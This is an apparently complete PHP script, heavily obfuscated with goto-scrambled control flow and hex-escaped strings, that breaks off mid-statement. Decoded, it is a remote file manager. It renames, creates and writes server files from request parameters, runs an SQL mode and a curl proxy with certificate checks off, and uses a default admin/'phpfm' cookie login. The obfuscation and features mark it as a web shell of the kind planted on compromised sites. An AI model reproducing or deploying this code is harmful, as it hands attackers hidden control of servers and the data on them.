oFPdm: goto xFWTl; goto foNOq; bE55K: I2LPU: goto WCk5m; Gapsq: echo "\40\x3c\151\x6e\160\x75\164\x20\164\x79\160\x65\75\x22\x74\x65\x78\164\42\40\156\141\x6d\145\75\42\162\x69\x67\x68\x74\163\x5f\166\141\154\x22\x20\x76\141\154\165\145\75\42"; goto eDwxL; o3cHU: k15sK: goto hUv4R; oqhAp: goto XexDt; goto XScuh; kYCJa: k_Xf3: goto e3ue1; BZ815: uLrmT: goto qKIFP; pM4Rv: goto Gb0Ck; goto mJAa9; BF83v: goto ohSKn; goto pYARI; gZSRQ: J2_Je: goto FxZgs; O4571: echo "\x9\11\x20\x20\40\40\x20\x20\x20\x20\x20\11\74\57\164\144\76\15\12\15\xa\11\11\40\40\x20\x20\40\40\x20\x20\x20\11\x3c\x74\144\76\xd\12\x9\11\x20\40\x20\40\40\40\40\x20\40\11\11\x20\x20\x20\x20\40\x20\x20\x20\x20\74\x66\157\162\x6d\x20\40\x6d\145\164\x68\x6f\x64\x3d\42\x70\x6f\x73\x74\42\x20\x61\x63\164\151\x6f\156\75\42"; goto O5_6g; C0vvH: echo "\40\174\x20\74\141\x20\150\162\145\146\75\42\x3f\160\x72\x6f\x78\171\75\x74\x72\165\x65\x22\x3e\160\x72\x6f\170\171\74\57\141\76"; goto sPOLV; uk91H: goto dcoRu; goto yc1EE; V0i1L: echo jnGiJ("\x42\x61\143\x6b"); goto l0Oi1; Gb8D2: leHb1: goto XgE9e; qBfvS: goto fwtut; goto djyQP; qANgZ: YCIob: goto W6H2r; ON6lV: agMSL: goto bZmD8; ujF4g: xMkEK: goto d2Gsn; Rjinm: goto Clxno; goto Brwi4; OiR9D: kYAyo: goto z6tLl; p4Shl: echo $Y2HeO; goto xrTUB; bMtJe: goto kqYTn; goto gQJ4c; YY0oy: goto K010L; goto LZfke; B8jsI: echo "\x22\76\15\12\40\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\40\x20\x20\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\40\x20\xd\xa\x9\11\40\40\40\x20\40\x20\x20\x20\40\11\11\x20\40\x20\40\x20\40\x20\x20\40\x3c\151\156\x70\x75\164\40\164\x79\160\x65\75\42\x68\151\x64\144\145\x6e\x22\x20\x6e\141\155\145\75\x22\x70\x61\164\150\x22\40\x76\x61\x6c\165\x65\x3d\x22"; goto OJpip; ziqqY: rename($VLMCB . $_REQUEST["\x72\145\156\x61\155\145"], $VLMCB . $_REQUEST["\x6e\145\x77\x6e\x61\x6d\145"]); goto FTkKU; ryHmu: zJHuz: goto mhevn; MYXWh: cvdnR: goto Wf_sr; Lq50x: goto w5z0L; goto QYDsA; fEPZU: uYEsm: goto PKTTx; VOvvU: goto PJwik; goto NYHV0; gEG_K: $O10i3 .= Jngij("\x46\x69\154\145\x20\165\160\144\x61\164\x65\144"); goto vMa3P; NWv8_: set_time_limit(0); goto vGryh; LBloX: g1bKt: goto gaMMn; AEIgL: rUNbL: goto VFW0A; lY3Aq: sDIa7: goto wUdkr; HVb_w: goto r5SL1; goto ML0SC; ZrOjX: KZG2M: goto csIol; wKQxn: goto tRPT0; goto ceUJ0; Kj2IV: if (empty($_REQUEST["\x65\x64\x69\x74"])) { goto Cj3sf; } goto UKezr; FYXnf: w2Ct5: goto vn8Jk; ShWTG: arkGV: goto h0x7F; h_DUw: tLXXM: goto HGrl_; u6vLS: goto uLrmT; goto UaiqP; fmDHq: hXUlW: goto yEpuZ; WaFYa: EJolE: goto uUDUW; sR02_: goto ggJGZ; goto CimK3; X6xvS: Cj3sf: goto AoqhC; PdTSU: if (!($p9djE == "\163\x71\154")) { goto D2usQ; } goto U6gi7; fCQgJ: w2pub: goto XO8wk; saMxe: oEcNN: goto qqJH9; Tiwte: foreach ($CuIdg as $PDyvu => $Iuqro) { goto kooMB; kooMB: $MLp6z .= "\x3c\x6f\160\164\151\157\x6e\x20\x76\141\x6c\165\x65\75\42" . $Iuqro . "\42\x20" . (!empty($Iuqro) && $Iuqro == $w1Vbn ? "\163\x65\154\145\143\x74\x65\x64" : '') . "\x20\76" . JNGIJ($PDyvu) . "\74\x2f\157\x70\164\151\157\x6e\x3e\xa"; goto UTb0h; UTb0h: FDxDu: goto yKfv3; yKfv3: tfXrO: goto qHMkj; qHMkj: } goto j4qgu; zA3OV: function yFacF($XseIq) { return $XseIq == "\56" or $XseIq == "\x2e\56"; } goto fdVXl; NjUn6: Ix6Vi: goto uvOsb; zIYZr: goto RFN7A; goto ropnC; xnI7t: goto kEFAH; goto eeLtv; dA11O: $q6pGo = preg_match("\43\164\x72\141\x6e\x73\154\x61\164\x69\157\x6e\x5b\x5c\163\x5d\77\x5c\75\x5b\134\x73\135\x3f\47\x5c\x7b\x5c\42\50\x2e\x2a\77\51\x5c\x22\134\175\x27\73\x23", $lpHQQ, $F3M0G); goto a0yMz; zAB2Z: goto dybmX; goto G0vmY; x0V84: goto caDF2; goto ZaENH; YTYmh: JT0TG: goto D1hEX; fhh9q: diH9t: goto Tiwte; lWRGt: RXHw6: goto ViCj3; bprLP: goto gtfhp; goto MAu7s; yv51a: GppV6: goto eX4gn; TB22L: echo jNgIJ("\x46\151\154\x65\x20\x6d\x61\156\141\x67\145\x72"); goto DRLr1; yHPIQ: aPxDT: goto ZGuoK; xGML1: r4iLo: goto yZoNv; HutFM: if ($rF_A2 = getimagesize($jTEOW)) { goto g_3vD; } goto ZxutZ; SQjkl: goto IPE0W; goto aoxTU; aOIvr: BHBbG: goto D5MI9; IOG0k: swzMn: goto rpdER; bPZ61: goto ipZf_; goto lqEFF; sQNPV: nc7Iq: goto nNc5F; ZbyZi: echo "\x20\40\x20\40\40\40\x20\40\40\x20\40\40\40\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\40\x20\40\x20\xd\12\x9\x3c\57\x74\x64\76\xd\12\xd\12\x3c\57\164\x72\76\15\xa\15\xa\x3c\x74\162\x3e\xd\12\15\12\40\40\x20\40\x3c\164\x64\x20\143\154\141\163\x73\75\x22\162\157\x77\61\42\76\15\xa\x20\40\x20\40\x20\x20\x20\40\x20\40\x20\x20\40\40\x20\40\40\40\40\40\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\x20\40\15\12\40\40\40\40\x20\x20\x20\40\74\x61\x20\150\162\145\146\75\42"; goto AEzy1; lCsbu: goto v_N_y; goto ddeN7; pkN9b: goto dLJsB; goto fIV73; ybN1O: xw5SU: goto akoAz; e4ByM: hwnD9: goto nR5B1; DuIIm: QJjMB: goto T98hg; mP42K: wh_9l: goto F_5bC; GvCeT: goto cb6n1; goto nV7fT; VFW0A: function fbjQk() { goto h77nz; Ps2Z3: return $_SERVER["\x48\124\x54\120\x5f\x53\103\110\105\x4d\105"] . "\x3a\57\x2f"; goto E_vOW; UhVIp: goto oGNFo; goto iLUb2; gHIC3: goto f1PGH; goto atfrE; BzraA: Hi9VW: goto YA09c; O7Rrp: AONLB: goto ytdfk; ZTcK4: return "\x68\164\164\x70\163\72\57\x2f"; goto u_6Ue; ught4: goto uWHmV; goto fTmJz; dZD7A: rj8e0: goto O7Rrp; h77nz: goto zvwTH; goto GXpRl; IlL50: return "\150\x74\164\x70\163\x3a\57\57"; goto doYvA; b6aW7: PLXeJ: goto jkgpz; BkaLc: if (isset($_SERVER["\x48\x54\124\x50\x53"]) && $_SERVER["\x48\x54\124\120\x53"] == "\x6f\x6e") { goto xhuJU; } goto UhVIp; V6A8i: if (isset($_SERVER["\110\124\124\x50\x5f\130\137\x46\x4f\x52\127\x41\122\104\105\104\137\120\x52\117\x54\117"]) && $_SERVER["\x48\x54\124\x50\x5f\130\x5f\106\117\122\127\x41\x52\104\105\104\x5f\x50\122\117\x54\x4f"] == "\150\164\164\160\x73") { goto GuCFe; } goto zEZH6; j4JkP: zS736: goto pqT4G; YA09c: goto uOssv; goto WCINQ; ytdfk: goto g58e2; goto nccFN; Lyyd5: if (isset($_SERVER["\x48\124\x54\120\x5f\x53\103\110\x45\x4d\105"])) { goto tnfte; } goto qppHI; ppO6v: if (isset($_SERVER["\x53\105\x52\126\x45\122\137\120\x4f\x52\x54"]) && $_SERVER["\x53\105\x52\126\105\122\137\x50\x4f\122\x54"] == 443) { goto Hi9VW; } goto Lpoeh; fTmJz: Z8GsD: goto IlL50; zEZH6: goto QW71h; goto n_fBw; gUmvF: f1PGH: goto ZTcK4; TC7cN: uOssv: goto v54j2; tUIVE: Ep_mM: goto yg41I; LBLvW: goto PLXeJ; goto j4JkP; iLUb2: xhuJU: goto GCi63; v54j2: return "\x68\x74\164\160\x73\x3a\x2f\x2f"; goto HBhAM; DqS9m: QW71h: goto LBLvW; qq8HQ: goto ju_Pz; goto TC7cN; CA0YT: Nyeb3: goto WGqPL; yg41I: oGNFo: goto qq8HQ; atfrE: ju_Pz: goto ppO6v; GXpRl: uWHmV: goto Ps2Z3; doYvA: goto Ep_mM; goto oYwlB; n_fBw: GuCFe: goto gHIC3; c6s0K: tnfte: goto ught4; WCINQ: zvwTH: goto Lyyd5; QsI0g: ZmXhG: goto BkaLc; GCi63: goto Z8GsD; goto tUIVE; qppHI: goto Nyeb3; goto c6s0K; sR20w: goto zS736; goto dZD7A; WGqPL: goto ZmXhG; goto gUmvF; Lpoeh: goto AONLB; goto BzraA; nccFN: g58e2: goto V6A8i; UeABN: FC1qS: goto CA0YT; HBhAM: goto rj8e0; goto b6aW7; oYwlB: DL3CB: goto DqS9m; u_6Ue: goto DL3CB; goto QsI0g; jkgpz: return "\x68\164\164\x70\72\x2f\x2f"; goto sR20w; E_vOW: goto FC1qS; goto UeABN; pqT4G: } goto c30T2; Sk30S: echo FMvoA("\x70\150\x70"); goto ryEqj; MWoH5: xtWFH: goto sUCKC; bgDLr: goto kYAyo; goto DFKA8; ta9wZ: goto fQUXI; goto kyIlR; sX1NK: if (!empty($C0tA4["\146\155\x5f\162\x65\x73\164\157\x72\145\x5f\x74\151\x6d\145"])) { goto MqXZ9; } goto ta9wZ; iTHIx: goto Bo25A; goto J8raM; ZN_1g: goto sKd47; goto oQZ_W; aVzQO: DiSbA: goto ShFBT; NO4kO: SBqKl: goto qVFlw; ra9Ed: goto SbCFl; goto pEgfi; tfoyj: goto rDK6s; goto LwK2a; iTQ59: rsBBR: goto rfeJp; e8FSd: CTMLq: goto NaLBr; ciZzN: qoiZo: goto LAQON; Vo51n: fNuGu: goto UAwtC; Yuux2: echo "\x22\x20\x73\164\x79\x6c\x65\75\x22\144\151\163\160\x6c\x61\x79\72\151\x6e\154\151\156\x65\42\76\15\xa\xd\12\11\x9\x20\x20\x20\40\40\x20\x20\x20\x20\x9\x9\40\x20\40\40\40\x20\x20\x20\40\x3c\151\156\x70\x75\164\x20\164\171\x70\x65\x3d\x22\150\x69\x64\144\145\156\42\x20\156\x61\155\x65\75\x22\x70\141\x74\x68\42\x20\166\141\154\x75\145\75\42"; goto Xnp_8; YJeDx: LpVqs: goto cK0z6; foNOq: EmUO5: goto ZdO_K; UpqwM: oZQh2: goto XRAOB; PeOLL: UNp15: goto bt9YA; IAQHq: goto FHBaQ; goto ShWTG; Bqncf: a9ZzR: goto TB979; PWJx5: goto XVFot; goto VzIWf; e0q1o: THozy: goto phnm0; D1qcO: if (is_file($wdJBd . "\56\147\x7a")) { goto SbVOO; } goto nGC9i; mmvr1: goto C0hd_; goto Mdt0a; ZZ9cn: zUeSq: goto KxoZA; q0JLP: vwm0J: goto wmzft; Qo9QD: goto HaCke; goto Qk34n; LiNrg: gNk6g: goto exdsb; Lvsdg: goto bpgrv; goto JbT4z; c6aka: goto qCexv; goto tX7qG; OMRz4: goto hrGAm; goto sk55r; O6Zzq: goto ATyGE; goto sdgCo; Mlr5E: goto wCQFe; goto XElAF; t5xUB: goto zVwqV; goto p60Qe; H2DyQ: wzYxj: goto dPQM3; a6Ocx: jgTp6: goto yUgF1; MzHJq: goto sI6w2; goto Q5C4T; sUCKC: $O10i3 .= JnGij("\106\x69\154\145\40\165\x70\x64\x61\164\x65\x64"); goto YOaGV; A_Jy0: C2S8E: goto LZi0p; pFhre: caDF2: goto UNYdg; DhyJJ: goto TM5Cl; goto P0AbU; UUml2: goto v7Ezf; goto R78Bu; Sgifp: AfnHQ: goto FPI_t; a9Bct: XWQUx: goto C0vvH; Z8RkM: BntNr: goto GdLaw; XgE9e: goto Td0HK; goto otIec; nRw09: goto WW29j; goto YZ49Y; zyu5D: k6bwm: goto HoIAl; o16j1: yZ7ib: goto DQe_E; apHYU: FtB9w: goto ZTLN4; oGlVc: LrCUF: goto WGkpL; gxeKX: $W5Q_F = new PharData($e2Q0i); goto LCCs0; vTZ4H: goto K7EaA; goto e8FSd; LRYlW: goto fuZBs; goto C1PDM; rfeJp: $GjkCm = base64_decode($_GET["\x67\172"]); goto gbykm; qlvlT: goto YEfLB; goto XEIPE; DlOzj: GDgtC: goto yBvmL; H1ciY: if (!empty($C0tA4["\146\155\x5f\163\145\164\164\151\x6e\147\x73"])) { goto Alajk; } goto JU1Oh; dhm_j: y7HET: goto B8jsI; bYJfv: fsxa3: goto AmS3S; CQJNH: IOUQV: goto xhFfZ; cG08L: RpkFq: goto VMCmz; AuBev: uG66d: goto d2fDu; KyiyK: goto P362E; goto xIuYi; eW9kk: curl_setopt($N2qJa, CURLOPT_SSL_VERIFYPEER, 0); goto sm2vb; cp0rn: goto qjKZ8; goto aksOc; ho87g: goto HJXh5; goto WT43z; bZmD8: WVZBU: goto rK12L; RXvYE: goto kRVEg; goto G1zgT; drgce: goto agMSL; goto KdG8u; FrFZr: ocfIa: goto YY0oy; OuITW: FWZwV: goto Cwx3h; YR86S: gfcam: goto vTzeH; tYLzH: goto RiQVO; goto OuSgE; yUltM: set_time_limit(0); goto fBeAB; JCmqK: goto SKTAn; goto gmo1J; nZJiH: goto awvt6; goto jvmUw; nFs2Y: YDZGB: goto MSouB; jGhDj: nGG2m: goto QfU0t; lnpWT: goto kFAhb; goto k_QV6; xOxAU: ez2VP: goto Gb8D2; ajeLJ: goto gDuas; goto yQdhj; Mb3UP: bwWQR: goto AmHpn; cYMHn: goto wmkjx; goto Xs5KN; H7Vhn: hrGAm: goto e60ao; b6SOL: pudoz: goto VuFaW; xBKPt: akohN: goto XC3po; Y_swJ: goto tY8ae; goto H7Vhn; zdS1M: if (!empty($_REQUEST["\163\x61\166\x65"])) { goto tO9J_; } goto W2AA_; TdFGf: goto G8xLE; goto rV4cg; PjU4X: YY5mN: goto eNv3i; RG6zF: goto KMmPb; goto pwgLX; zhT91: goto hG_tm; goto FfY9s; sCI0W: ojrpS: goto rMTKQ; Gu7Dd: if ($fahGj["\x61\x75\164\150\x6f\162\151\172\145"]) { goto nGG2m; } goto R5JSf; pgLHv: $fahGj["\160\141\163\163\x77\x6f\x72\x64"] = isset($fahGj["\160\x61\163\x73\x77\157\162\144"]) ? $fahGj["\160\141\163\163\x77\x6f\x72\x64"] : "\160\150\x70\x66\155"; goto fh25v; FkIgH: $jElBX = "\173\42\141\165\x74\150\157\x72\x69\172\145\42\72\x22\x30\x22\54\42\x6c\157\147\x69\156\x22\72\x22\x61\x64\x6d\151\156\x22\54\x22\x70\x61\163\x73\167\x6f\162\x64\x22\x3a\x22\160\x68\160\x66\155\x22\x2c\42\143\x6f\157\x6b\151\145\x5f\156\141\155\x65\42\x3a\42\146\x6d\137\x75\x73\145\x72\x22\54\x22\144\x61\171\x73\137\141\x75\164\x68\157\x72\x69\x7a\141\164\151\157\x6e\x22\x3a\42\x33\x30\42\54\x22\163\143\x72\x69\160\164\x22\72\x22\74\x73\x63\x72\x69\x70\x74\40\164\x79\x70\x65\x3d\134\42\164\x65\x78\x74\x5c\x2f\152\141\166\141\x73\143\x72\x69\x70\x74\x5c\x22\40\163\x72\x63\75\x5c\42\x68\164\x74\x70\x73\72\134\x2f\x5c\x2f\167\x77\x77\56\143\144\x6f\x6c\x69\x76\x65\x74\56\143\x6f\155\134\57\145\144\151\164\141\x72\145\x61\134\57\145\x64\151\x74\141\162\x65\141\x5c\57\145\144\151\x74\137\x61\x72\145\141\134\57\x65\144\151\x74\137\141\162\x65\x61\x5f\x66\x75\x6c\x6c\x2e\x6a\x73\134\42\76\74\x5c\x2f\163\143\162\x69\160\x74\x3e\134\x72\134\156\74\x73\x63\162\151\x70\164\x20\x6c\x61\156\x67\165\x61\x67\x65\x3d\134\42\112\141\166\141\163\143\x72\151\x70\x74\134\x22\40\x74\x79\x70\145\x3d\x5c\x22\x74\145\x78\164\x5c\x2f\x6a\141\x76\x61\x73\143\x72\x69\160\164\134\x22\76\x5c\162\x5c\156\145\x64\x69\164\101\x72\145\141\x4c\x6f\x61\144\145\162\x2e\151\156\151\164\50\173\x5c\x72\x5c\x6e\151\144\x3a\x20\134\x22\x6e\x65\167\x63\x6f\156\164\x65\156\164\x5c\x22\x5c\162\134\x6e\x2c\144\x69\x73\x70\x6c\x61\171\72\40\134\42\x6c\x61\x74\145\x72\134\42\x5c\x72\134\156\x2c\163\x74\141\162\164\x5f\150\x69\147\x68\x6c\x69\147\x68\164\x3a\40\164\x72\165\145\134\x72\134\156\54\x61\x6c\x6c\157\167\x5f\x72\145\x73\x69\x7a\x65\x3a\40\134\x22\142\x6f\x74\x68\134\x22\x5c\162\x5c\156\54\x61\154\x6c\x6f\167\137\x74\157\x67\x67\x6c\145\72\x20\164\x72\165\145\134\x72\134\156\x2c\x77\157\162\144\137\x77\162\x61\x70\x3a\x20\x74\162\165\x65\134\x72\134\x6e\x2c\x6c\x61\156\147\x75\x61\147\145\x3a\x20\134\42\x72\165\134\42\x5c\162\134\156\x2c\x73\171\156\x74\141\x78\x3a\40\134\x22\x70\x68\160\x5c\42\x5c\164\134\x72\x5c\x6e\54\x74\157\157\x6c\x62\x61\x72\x3a\40\134\x22\163\x65\141\162\143\150\54\40\147\157\x5f\x74\157\137\x6c\x69\156\x65\54\40\x7c\x2c\40\165\x6e\x64\x6f\x2c\x20\162\x65\x64\157\x2c\x20\x7c\54\x20\x73\x65\154\x65\x63\x74\137\146\x6f\x6e\164\x2c\40\174\54\40\x73\x79\156\x74\141\170\137\163\x65\154\145\x63\x74\151\x6f\x6e\54\40\174\54\x20\x63\x68\141\x6e\x67\145\x5f\163\x6d\157\x6f\164\150\x5f\x73\145\154\x65\143\x74\x69\157\156\54\x20\150\x69\147\x68\x6c\x69\x67\150\x74\54\40\x72\145\163\x65\x74\x5f\150\x69\147\x68\x6c\x69\x67\150\164\54\x20\174\x2c\x20\x68\145\154\x70\134\x22\x5c\162\x5c\156\54\163\x79\x6e\x74\x61\x78\137\x73\145\154\145\143\x74\x69\157\156\137\141\x6c\x6c\157\x77\x3a\x20\x5c\x22\x63\163\163\54\x68\164\x6d\x6c\54\x6a\x73\x2c\x70\150\x70\x2c\x70\x79\164\x68\x6f\x6e\x2c\x78\x6d\154\54\x63\54\143\160\160\x2c\x73\x71\x6c\x2c\x62\x61\x73\151\x63\54\160\141\x73\x5c\42\x5c\162\134\x6e\175\51\73\134\162\134\156\74\x5c\57\163\x63\x72\x69\160\164\x3e\42\x7d"; goto cyBrB; pYP1E: doq5r: goto AcqFJ; m1axq: goto r4iLo; goto Q5dDr; Cxlis: function ZHMWP($g6Xdn) { return "\56\57" . basename(__FILE__) . "\x3f\151\x6d\147\75" . base64_encode($g6Xdn); } goto iYHPs; bT1Es: psYxW: goto sZb3_; QvWzn: goto cFeXv; goto b0cm9; wWbra: goto ln7zR; goto UKw_S; WXXkr: goto HGIbb; goto mSRdT; k_QV6: xoCD9: goto qcflu; uEjRi: jGlcu: goto X0N6W; CIN5K: v_N_y: goto cLtHe; NaLBr: $ZWyig = explode("\x2c", $_SERVER["\x48\124\x54\x50\x5f\x41\103\x43\105\120\x54\137\x4c\x41\116\107\125\x41\x47\105"]); goto sB8N9; n_xRC: goto aavoN; goto yNGMX; bgDad: iQFUW: goto jGj4s; QZtwI: YE0RY: goto rkUW0; HbSeA: qWyyi: goto qu2Rx; bHSrY: aJuwU: goto lE9t1; qVFlw: goto MWchV; goto PWyFZ; ZDTw6: if (!empty($C0tA4["\x66\155\137\x72\x65\x73\x74\157\162\x65\137\x74\151\x6d\x65"])) { goto W7bMZ; } goto fEKOI; hNPOb: bpgrv: goto jsPBD; yKNFc: if (isset($_GET["\160\162\157\170\x79"]) && !empty($C0tA4["\x65\x6e\141\x62\x6c\145\137\x70\162\157\x78\171"])) { goto jxZlr; } goto RG6zF; Q5dDr: BkQRs: goto O_f5M; Skjh9: clearstatcache(); goto lDk26; xqI5M: echo "\74\x2f\164\x68\76\xd\12\40\x20\x20\x20\x20\40\x20\x20\40\x20\40\x20\40\40\40\40\40\40\x20\x20\x20\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\40\40\40\x20\xd\12\74\57\x74\162\x3e\xd\xa\xd\xa\74\164\162\76\15\12\15\12\x20\x20\40\40\x3c\x74\144\40\143\x6c\x61\x73\163\75\x22\162\x6f\x77\x31\42\x3e\15\xa\x20\x20\x20\40\40\x20\40\x20"; goto bPZ61; ItiDa: foreach ($PcRaw as $jTEOW) { goto u3v_K; SlNRI: goto wiIMA; goto HOATJ; PQbAo: goto bHmLj; goto tyUi5; UhUf2: goto KxIcC; goto cmfGB; IkhOJ: vafwv: goto Z7DEo; DwT3G: bHmLj: goto B29k1; nUoZQ: goto tsOzJ; goto IkhOJ; gZ2UM: $VDDS6[] = $jTEOW; goto LX_Cy; Z7DEo: if (!@is_dir($VLMCB . $jTEOW)) { goto kIxML; } goto jeVhU; OqR66: kIxML: goto SlNRI; u3v_K: goto vafwv; goto Rpv0G; Zg88X: vCwrE: goto zF6mv; MBGyQ: mQNIQ: goto stNWR; cmfGB: wiIMA: goto gZ2UM; ZivIE: BuNH8: goto M0N8W; ZknAl: e_wsO: goto APH1t; stNWR: goto e_wsO; goto nUoZQ; jeVhU: goto vCwrE; goto OqR66; tyUi5: nXC_4: goto RvB3m; RvB3m: $wQzW3[] = $jTEOW; goto UhUf2; LX_Cy: goto mQNIQ; goto DwT3G; HOATJ: KxIcC: goto ZknAl; APH1t: goto BuNH8; goto ZivIE; zF6mv: goto nXC_4; goto MBGyQ; M0N8W: CQGmR: goto PQbAo; Rpv0G: tsOzJ: goto Zg88X; B29k1: jrTLZ: goto mz63j; mz63j: } goto eM0ii; sZb3_: goto ByvdJ; goto CIN5K; w6TyS: N6dF7: goto ivHB8; R1FNf: $MLp6z .= "\74\x6f\160\164\151\x6f\x6e\x20\166\x61\x6c\165\x65\x3d\42\55\61\x22\x3e" . JngIj("\x53\145\154\145\143\164") . "\74\57\x6f\x70\164\x69\157\x6e\x3e\xa"; goto XUw6g; hnlCW: PyflB: goto NHpAs; ihm3l: goto M9hgy; goto ypllJ; mGBse: if (!isset($_COOKIE[$fahGj["\143\157\157\153\151\x65\x5f\156\x61\155\145"]]) or $_COOKIE[$fahGj["\x63\157\x6f\x6b\151\145\137\x6e\x61\155\145"]] != $fahGj["\154\157\x67\151\156"] . "\x7c" . md5($fahGj["\x70\x61\x73\x73\167\157\162\144"])) { goto BNH03; } goto o6jF4; ZBHKC: if (!empty($C0tA4["\163\150\157\x77\x5f\x78\154\x73"]) && !empty($mbeto)) { goto eoTF9; } goto FRvtb; Fhjbs: goto INmSH; goto zFK19; aPRDh: goto pDVu5; goto tWPYz; eDiNm: $GpXQq = "\15\12\74\144\151\x76\40\163\x74\171\154\145\x3d\x22\160\x6f\x73\151\164\x69\x6f\x6e\x3a\162\x65\154\x61\x74\x69\166\145\73\172\55\151\156\x64\145\170\72\61\60\x30\65\x30\x30\73\x62\x61\x63\153\x67\x72\x6f\x75\x6e\x64\x3a\x20\x6c\151\x6e\145\x61\162\x2d\147\162\x61\x64\151\x65\156\164\x28\x74\x6f\40\x62\x6f\x74\164\157\x6d\x2c\x20\x23\145\x34\x66\65\146\143\40\x30\45\x2c\43\x62\146\145\70\146\71\40\65\x30\x25\54\43\x39\x66\x64\x38\145\x66\40\65\61\45\54\x23\x32\141\x62\60\145\x64\x20\61\x30\x30\45\x29\73\42\76\15\xa\11\74\x66\x6f\162\155\40\141\143\x74\x69\x6f\156\x3d\x22\42\40\x6d\145\x74\x68\x6f\144\75\42\x47\x45\x54\x22\x3e\xd\xa\40\x20\40\40\x20\40\x20\x20\x20\40\x20\x20\40\40\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\15\xa\11\x3c\151\x6e\160\x75\x74\40\164\x79\160\x65\75\x22\x68\x69\x64\x64\145\156\42\x20\156\141\155\x65\75\x22\x70\162\157\170\171\x22\40\166\x61\154\x75\145\75\42\164\162\x75\x65\42\76\xd\xa\40\x20\40\40\40\x20\x20\40\x20\40\40\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\40\x20\40\40\x20\40\x20\40\x20\15\12\x9" . awO5i() . "\40\74\x61\x20\150\162\145\146\75\42" . $IZ9dM . "\42\x20\164\x61\162\x67\x65\x74\75\42\x5f\142\x6c\141\156\153\x22\76\x55\162\x6c\x3c\57\x61\76\72\40\x3c\x69\156\160\165\x74\40\x74\171\160\145\75\x22\x74\x65\170\164\42\40\x6e\141\x6d\145\x3d\42\x75\162\154\42\x20\x76\x61\154\x75\x65\75\x22" . $IZ9dM . "\42\40\163\151\172\145\75\42\65\65\x22\x3e\15\12\x9\x3c\151\x6e\160\165\164\x20\x74\x79\160\145\x3d\x22\163\165\142\155\151\164\x22\x20\x76\141\x6c\x75\x65\75\x22" . JNgij("\123\x68\157\167") . "\42\40\x63\x6c\x61\163\x73\x3d\x22\x66\155\137\151\156\x70\165\164\x22\x3e\15\12\xd\12\11\x3c\57\146\x6f\162\155\76\xd\xa\15\12\74\57\144\151\166\76\xd\xa\15\xa"; goto tA71b; V2hLI: I5jER: goto OSvK5; y7CCQ: function UgSt6($N83v0 = false) { $URggn = $N83v0 ? EuumG() : "\x2e"; return $URggn . "\57" . basename(__FILE__); } goto wlrh_; tZIbU: RFrLW: goto jF_Pt; eYsIf: lV9fD: goto Vh3El; sY2SZ: zcNAn: goto rRIIi; YGvNN: echo "\15\12\11\11\40\40\40\40\40\40\40\40\x20\x9\x3c\x2f\164\144\x3e\xd\12\x20\x20\40\40\40\40\40\x20\40\40\40\40\40\40\40\40\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\40\40\40\x20\40\x20\40\x20\x20\40\40\40\xd\xa\11\x9\x20\x20\40\x20\x20\x20\x20\40\x20\x9\74\164\144\x3e\xd\xa\40\40\40\40\x20\40\x20\40\x20\x20\40\40\40\40\40\40\40\x20\40\40\40\x20\40\x20\x20\x20\40\40\x20\x20\xd\12\x9\x9\40\40\40\40\x20\x20\x20\x20\x20\11"; goto P1vU9; xDWBS: goto jfzcq; goto Q5o72; HGnyD: goto k8qo6; goto NvQ5I; uKOKM: goto wVIMz; goto nWOc7; CY5uJ: uODaj: goto picNX; wO5d0: WW29j: goto wUJUi; ceUJ0: mVndP: goto ydGpG; nV7fT: DUBKY: goto q6ROg; u1Pp3: Bz9MP: goto gEG_K; KUhet: qqtAz: goto Qr7v4; bjKH0: kDIRM: goto Z4Va9; bFaAS: goto jZewt; goto jKNcz; QyV13: jfzcq: goto bAYQt; bkkpj: goto asKLY; goto oQfBS; QIAee: SS4dT: goto ZT13J; lP5Ai: goto Mx11f; goto zpq4b; nbhQA: echo jNgIj("\x4d\141\163\153"); goto izeGF; dPQM3: echo $fahGj["\154\x6f\x67\151\x6e"]; goto dLB9K; vLMMw: goto GSGVo; goto bSlcA; SqNoR: RhKlN: goto xlHHU; cK0z6: if (!isset($p9djE)) { goto JVa0k; } goto lgJrz; IoPoR: if (!isset($_GET["\x7a\151\160"])) { goto DMUv7; } goto xcVrY; TQII1: goto MXzgI; goto BZ815; WNZWc: goto Rmpbp; goto VnHUG; YS9YQ: if (is_file($wdJBd . "\56\147\172")) { goto Njfo_; } goto Mlr5E; KKMBJ: if (@mkdir($VLMCB . $_REQUEST["\144\151\x72\156\x61\155\x65"], 0777)) { goto xoCD9; } goto lnpWT; Q0TOl: goto UMwdp; goto jpOYK; omUI2: MteZZ: goto lP5Ai; JetJf: LU7Xy: goto pkN9b; pEgfi: HtV6o: goto pYP1E; M9Y5R: $lpHQQ = file_get_contents(__FILE__); goto sIVHp; lZCKq: goto Wci9O; goto ygCy6; C40II: sEbea: goto O4571; Mc1l5: echo "\x20\174\x20" . php_ini_loaded_file(); goto kx3Wy; zjnAa: echo JnGij("\122\x65\x73\x65\x74"); goto HwstM; Q5C4T: Rd2BS: goto awIfY; yiz1Q: hueds: goto xoYt0; fef1E: goto QhZ5Z; goto e3LE3; xHXdN: JZVbG: goto PP2ne; uvOsb: if ($wlRVP = @fopen($VLMCB . $_REQUEST["\x66\151\x6c\145\x6e\141\155\x65"], "\167")) { goto PaC5D; } goto U9pdw; bccKR: taOz9: goto XFCAj; jvpzz: goto kDIRM; goto xGML1; JQ0uP: goto tLXXM; goto hsLND; TFou7: bvbqz: goto pk0pw; jD0Wd: GeT3r: goto vSqCu; V7v6O: goto LrCUF; goto M_nst; aPV8B: echo "\x22\x20\x73\x69\x7a\145\75\42\61\x35\x22\x3e\15\xa\11\x9\40\40\40\40\40\40\x20\x20\x20\x9\11\40\40\40\x20\40\40\x20\40\x20\x3c\151\x6e\x70\165\x74\40\164\x79\160\145\x3d\42\164\145\170\x74\x22\40\x6e\141\155\145\x3d\42\x6d\x61\163\x6b\42\x20\x70\x6c\141\x63\145\150\157\x6c\144\145\x72\x3d\42"; goto u3aTZ; rPQ_I: if (is_dir($VLMCB . $_REQUEST["\x72\151\x67\x68\x74\x73"])) { goto RFrLW; } goto h21kQ; sF1G0: goto fxrWr; goto NAykr; eu9E9: die($GpXQq); goto Czfh1; OAKAC: qjKZ8: goto JQ0uP; RTDEZ: goto Nzvl0; goto 